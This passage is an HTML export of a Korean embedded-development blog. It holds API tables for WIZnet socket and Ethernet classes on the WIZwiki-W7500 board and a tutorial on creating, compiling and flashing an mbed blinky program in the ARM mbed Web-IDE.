<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">bind (int port)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Bind a socket to a specific port.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">listen (int backlog=1)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Start listening for incoming connections.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">accept ( TCPSocketConnection &connection)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Accept a new connection.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">void</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">set_blocking (bool blocking, unsigned int timeout=1500)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Set blocking or non-blocking mode of the socket and a timeout on blocking socket operations.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">set_option (int level, int optname, const void *optval, socklen_t optlen)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Set socket options.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">no use</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">get_option (int level, int optname, void <em style="margin-bottom: 0px; margin-top: 0px;">optval, socklen_t </em>optlen)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Get socket options.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">no use</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">close (bool shutdown=true)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Get socket options.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
</tbody>
</table>
</li>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
Socket - TCPSocketConnection Class</div>
<table style="background-color: #fafafa; border-collapse: collapse; border-spacing: 0px; padding: 0px;">
<thead>
<tr>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">Type</th>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">Func.</th>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">Descriptions</th>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">WIZnetInterface</th>
</tr>
</thead>
<tbody>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;"></td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">TCPSocketConnection ()</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">TCP socket connection.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">connect (const char *host, const int port)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Connects this TCP socket to the server.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">bool</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">is_connected (void)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Check if the socket is connected.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">send (char *data, int length)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Send data to the remote host.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">send_all (char *data, int length)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Send all the data to the remote host.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">receive (char *data, int length)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Receive data from the remote host.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">receive_all (char *data, int length)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Receive all the data from the remote host.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">void</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">set_blocking (bool blocking, unsigned int timeout=1500)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Set blocking or non-blocking mode of the socket and a timeout on blocking socket operations.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">set_option (int level, int optname, const void *optval, socklen_t optlen)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Set socket options.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">no use</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">get_option (int level, int optname, void <em style="margin-bottom: 0px; margin-top: 0px;">optval, socklen_t </em>optlen)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Get socket options.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">no use</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">close (bool shutdown=true)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Close the socket.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">void</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">reset_address (void)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Reset the address of this endpoint.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">set_address (const char *host, const int port)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Set the address of this endpoint.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">char*</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">get_address (void)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Get the IP address of this endpoint.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">get_port (void)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Get the port of this endpoint.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
</tbody>
</table>
</li>
<li style="display: list-item; line-height: 1.4em;"><div style="margin: 1em 0px; word-wrap: break-word;">
etnerhet_api - ethernet_api Class</div>
<table style="background-color: #fafafa; border-collapse: collapse; border-spacing: 0px; padding: 0px;">
<thead>
<tr>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">Type</th>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">Func.</th>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">Descriptions</th>
<th style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); font-weight: bold; margin: 0px; padding: 6px 13px;">WIZnetInterface</th>
</tr>
</thead>
<tbody>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;"></td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Ethernet ()</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Initialise the ethernet interface.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">no use</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">virtual</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">~Ethernet ()</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Powers the hardware down.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">no use</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">write (const char *data, int size)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Writes into an outgoing ethernet packet.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">no use</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">send ()</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Send an outgoing ethernet packet.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">no use</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">receive ()</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Recevies an arrived ethernet packet.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">no use</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">read (const char *data, int size)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Read from an recevied ethernet packet.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">no use</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">void</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">address (char *mac)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Gives the ethernet address of the mbed.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">no use</td>
</tr>
<tr style="background-color: #f2f2f2;">
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">int</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">link()</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Returns if an ethernet link is pressent or not.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
<tr>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">void</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">set_link(Mode mode)</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">Sets the speed and duplex parameters of an ethernet link.</td>
<td style="border: 1px solid rgb(204, 204, 204); border: 1px solid rgb(230, 230, 230); margin: 0px; padding: 6px 13px;">O</td>
</tr>
</tbody>
</table>
</li>
</ul>
</div>
Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-34943536008804598562015-07-01T16:18:00.000-07:002015-07-01T16:18:03.728-07:00ARMmbed Web-IDE<h1 id="arm-mbed-web-ide에서-놀자"><a name="arm-mbed-web-ide에서-놀자" href="#arm-mbed-web-ide에서-놀자"></a>ARM mbed Web-IDE에서 놀자</h1>
<ul>
<li><p>Goals : ARM mbed Web-IDE에서 프로젝트를 생성하는 방법을 알고 Compile/Program을 해보면서 Web-IDE에 친해지기</p>
<ul>
<li>Platform : <a href="https://developer.mbed.org/platforms/WIZwiki-W7500/">WIZwiki_W7500</a><ul>
<li>ARM® Cortex™-M0 Core 48MHz</li>
<li>128KB Flash memory</li>
<li>16KB to 48 KB SRAM </li>
<li>Hardwired TCP/IP Core (8 Sockets, MII: Medium-Independent Interface)</li>
</ul>
</li>
</ul>
</li>
</ul>
<h2 id="program-workspace에서-new프로젝트-생성하기"><a name="program-workspace에서-new프로젝트-생성하기" href="#program-workspace에서-new프로젝트-생성하기"></a>program workspace에서 new프로젝트 생성하기</h2>
<ul>
<li>mbed.org로그인 후 Develor Site >> Compiler Site로 이동!</li>
<li><p>Compiler Site의 Web-IDE의 메뉴바에서 왼쪽 상단의 <strong>New</strong>를 클릭하고 <strong>New program..</strong>를 연타!<br><a href="https://www.flickr.com/photos/129289794@N06/19327992401" title="2015-07-01_15-54-16 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/499/19327992401_3a61717501.jpg" width="484" height="165" alt="2015-07-01_15-54-16"></a></p>
</li>
<li><p><strong>Create new program</strong> wizard가 뜨면 당황하지 말고 각자에 환경에 맞게 설정!<br><a href="https://www.flickr.com/photos/129289794@N06/19297981986" title="2015-07-01_15-28-44 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/478/19297981986_9089f7446a.jpg" width="402" height="312" alt="2015-07-01_15-28-44"></a></p>
<ul>
<li>Platform: WIZwiki-W7500의 이외의 보드를 이용할 경우 해당 Platform을 선택한다.</li>
<li>Template: 각각 platform마다 제공하는 Template예제들을 선택할 수 있다. </li>
<li>Program Name: 알맞게 Program Name을 변경할 수 있다. (아래의 그림은 mbed_blinky였던것을 0_mbed_blinky변경한 것임)</li>
<li>update check box: Default로 체크가 되어있다. <strong>import할때 최신 Library를 적용하여 import한다는 의미</strong></li>
<li>모든 설정을 마친 후 <strong>OK</strong> 버튼을 클릭하면 Compiler Site로 변경되며 <strong>import</strong>를 수행한다. </li>
</ul>
</li>
<li><p>Web-IDE인 Compiler Site에 0_mbed_blinky program이 생성 되었는지 확인하자<br>Program workspace 창에 <strong>Create new program</strong> wizard에서 적용한 0_mbed_blinky가 있는지 확인<br><a href="https://www.flickr.com/photos/129289794@N06/19324054495" title="2015-07-01_15-30-04 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/324/19324054495_1cac766714_z.jpg" width="640" height="208" alt="2015-07-01_15-30-04"></a></p>
</li>
</ul>
<h2 id="0_mbed_blinky-program-뽀개기"><a name="0_mbed_blinky-program-뽀개기" href="#0_mbed_blinky-program-뽀개기"></a>0_mbed_blinky program 뽀개기</h2>
<p>컴파일 전에 코드와 프로젝트 감상하고 가시겠습니다. </p>
<p><a href="https://www.flickr.com/photos/129289794@N06/19318011122" title="2015-07-01_16-01-53 by Roy Kim, on Flickr"><img src="https://c2.staticflickr.com/4/3762/19318011122_894e7559b5_z.jpg" width="640" height="259" alt="2015-07-01_16-01-53"></a></p>
<ul>
<li><p>0_mbed_blinky program은 크게 main.cpp와 mbed.lib로 구성된다. </p>
<ul>
<li>0_mbed_blinky/main.cpp: main()가 구현되어 있는 파일</li>
<li>mbed.lib: mbed library는 ARM mbed에 등록되어 있는 모든 Cortex-M기반의 MCU의 CMSIS및 각종페리페럴의 Hardware Adapataion Layer(HAL)를 포함한다. 따라서, new program을 생성할 때 Default로 포함되어야한다. library형태라 Souce code를 확인 할 수는 없다. 코드를 참고 하기 원한다면 Code Site에 가서 mbed-src를 검색하자 mbed library를 코드 레벨로 확인할 수 있다. 그리고 주의할 점은 mbed-src는 베타버전으로 unstable할 수 있다. 반다로 mbed.lib는 stable 버젼으로 생각하면 거의(?) 된다.<ul>
<li>mbed-src: <a href="https://developer.mbed.org/users/mbed_official/code/mbed-src/"><a href="https://developer.mbed.org/users/mbed_official/code/mbed-src/">https://developer.mbed.org/users/mbed_official/code/mbed-src/</a></a></li>
</ul>
</li>
</ul>
</li>
<li><p>main.cc를 보면</p>
<ul>
<li>mbed.lib를 사용하기 위해 1번 Line에 #include “mbed.h”필수 </li>
<li>Class나 API는 Handbook Site를 참고 하자<ul>
<li>DigitalOut myled(LED1): <ul>
<li>DigitalOut Class타입으로 LED1이라는 인자를 받아 myled는 인스턴스를 생성</li>
<li>DigtalOut과 같은 Class나 API들은 <a href="https://developer.mbed.org/handbook/Homepage">handbook Site</a>를 참고 하자 <ul>
<li>DigitalOut관련은 <a href="https://developer.mbed.org/handbook/DigitalOut">Handbook >> DigitalOut</a></li>
</ul>
</li>
</ul>
</li>
<li>wait(time)는 time의 인자만큼 초 단위로 wait한다.<ul>
<li><a href="https://developer.mbed.org/handbook/Wait">Handbook >> Wait</a></li>
</ul>
</li>
</ul>
</li>
<li>결국 이 예제는 LED1를 On으로 0.2초 OFF로 0.2초를 무한 반복하는 예제구나</li>
</ul>
</li>
</ul>
<h2 id="compile"><a name="compile" href="#compile"></a>Compile</h2>
<ul>
<li>Web-IDE의 menu중 <strong>Compile</strong>를 클릭</li>
<li>Complie이 error없이 완료되면 자동적으로 Bin를 다운로드한다. </li>
<li>Bin파일의 Name은 Program Name_platform Name.bin 형식으로 생성된다.<br><a href="https://www.flickr.com/photos/129289794@N06/19297981776" title="2015-07-01_17-30-44 by Roy Kim, on Flickr"><img src="https://c2.staticflickr.com/4/3733/19297981776_3a012bccd1_z.jpg" width="640" height="407" alt="2015-07-01_17-30-44"></a></li>
</ul>
<h2 id="program"><a name="program" href="#program"></a>Program</h2>
<ul>
<li>mbed platform들은 Local PC에서 아래의 그림과 같이 드라이브(mbed)로 인식된다. 따라서 다운 받은 Bin파일을 mbed drive에 Copy하면 program은 끝!<br><a href="https://www.flickr.com/photos/129289794@N06/19318011642" title="2015-07-01_14-25-18 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/421/19318011642_5a12a1a836_z.jpg" width="640" height="434" alt="2015-07-01_14-25-18"></a></li>
</ul>
Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-26449844444316216322015-07-01T15:46:00.001-07:002015-07-01T15:46:20.492-07:00ARMmbed<h1 id=""><a name="" href="#"></a><a href="https://www.flickr.com/photos/129289794@N06/19324053465" title="mbed_logo by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/395/19324053465_8d093139b7_m.jpg" width="185" height="60" alt="mbed_logo"></a></h1>
<p>ARM mbed는 아래의 그림처럼 IoT Device Platform을 위하 구성되는 Sillicon, Cloud, Device Partner들의 Communty를 표방한다.<br><a href="https://www.flickr.com/photos/129289794@N06/19327991961" title="arm_mbed_iot_dppage_-01-1b by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/367/19327991961_e23a0058c9_z.jpg" width="640" height="221" alt="arm_mbed_iot_dppage_-01-1b"></a><br>Cortex-M을 제공하던 ARM사가 Cortex-M IoT Device Ecosystem을 더욱 확고히 하기위해 Operating System인 mbedOS와<br>IoT Cloud Server개념의 mbed Deiver Server를 포함하고 있다.<br>또한 ARM mbed on Site에서 IoT Device의 개발이 이루어 지도록 Web-IDE를 On-Site에서 지원하고 있으며 재발된 코드들의<br>버젼관리 및 배포를 할 수 있도록 Mecurial기반의 파일 버젼관리 시스템을 연동하고 있습니다. 이러한 Web-IDE를 기반으로 Official 혹은 User Library들이 공유되며 이를 바탕으로 Rapid Protypting이 가능하다.<br>따라서, 개발자들이 ARM mbed Site에서 IoT Device의 개발부터 IoT Cloud service의 Test를 완료 할 수 있다. </p>
<p>자세한 내용의 아래의 링크를 확인하세요</p>
<h2 id="[mbedos-](http://mbed.org/technology/os/)"><a name="[mbedos-](http://mbed.org/technology/os/)" href="#[mbedos-](http://mbed.org/technology/os/)"></a><a href="http://mbed.org/technology/os/">mbedOS </a></h2>
<p><a href="https://www.flickr.com/photos/129289794@N06/19318010312" title="mbed-os-v2-700x467 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/463/19318010312_607b35346d.jpg" width="500" height="334" alt="mbed-os-v2-700x467"></a></p>
<ul>
